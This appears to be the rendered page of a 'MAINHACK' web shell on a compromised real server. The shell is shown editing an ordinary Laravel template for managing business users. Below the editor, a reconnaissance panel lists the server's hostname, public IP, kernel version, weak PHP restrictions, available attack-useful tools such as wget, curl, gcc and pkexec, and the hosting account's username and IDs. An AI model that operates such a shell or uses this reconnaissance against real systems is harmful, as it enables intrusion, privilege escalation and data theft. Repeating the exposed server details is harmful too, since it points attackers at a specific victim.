[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: system_users.blade.php
@extends('layouts.app') @section('content') <div class="row"> <div class="col-lg-12"> <div class="card"> <div class="card-header d-sm-flex align-items-center justify-content-between"> <h4 class="header-title">{{ _lang('System Users') }}</h4> <div class="mt-2 mt-sm-0"> <a class="btn btn-dark btn-xs" href="{{ route('invitation_history.index', $business->id) }}">{{ _lang('Invitation History') }}</a> <a class="btn btn-primary btn-xs ajax-modal" data-title="{{ _lang('Invite New User') }}" href="{{ route('system_users.invite', $business->id) }}"><i class="ti-plus mr-1"></i>{{ _lang('Invite User') }}</a> </div> </div> <div class="card-body"> <table class="table data-table"> <thead> <tr> <th>{{ _lang('Name') }}</th> <th>{{ _lang('Business') }}</th> <th>{{ _lang('Role') }}</th> <th>{{ _lang('Status') }}</th> <th class="text-center">{{ _lang('Action') }}</th> </tr> </thead> <tbody> @foreach($business->users as $user) <tr data-id="row_{{ $user->id }}"> <td class='name'> <div class="d-flex align-items-center"> <img src="{{ profile_picture($user->profile_picture) }}" class="thumb-sm img-thumbnail rounded-circle mr-2"> <div><span class="d-block text-height-0"><b>{{ $user->name }}</b></span><span class="d-block">{{ $user->email }}</span></div> </div> </td> <td class='business'>{{ $business->name }}</td> <td class='role'>{{ $user->pivot->role_id == NULL ? _lang('Admin') : $user->roles->find($user->pivot->role_id)->name }}</td> <td class='status'>{!! xss_clean(user_status($user->status)) !!}</td> <td class="text-center"> @if($user->pivot->role_id != NULL) <form action="{{ route('system_users.destroy', $user->id) }}" method="post"> {{ csrf_field() }} <input name="_method" type="hidden" value="DELETE"> <a class="btn btn-primary btn-xs ajax-modal" href="{{ route('system_users.change_role', [$user->id, $business->id]) }}" data-title="{{ _lang('Change Role') }}"><i class="ti-pencil mr-1"></i>{{ _lang('Change Role') }}</a> <button class="btn btn-danger btn-xs btn-remove" type="submit"><i class="ti-trash mr-1"></i>{{ _lang('Delete') }}</button> </div> </form> @else <a class="btn btn-primary btn-xs disabled" href="#"><i class="ti-pencil mr-1"></i>{{ _lang('Change Role') }}</a> <button class="btn btn-danger btn-xs" type="button" disabled><i class="ti-trash mr-1"></i>{{ _lang('Delete') }}</button> @endif </td> </tr> @endforeach </tbody> </table> </div> </div> </div> </div> @endsection
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.7 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002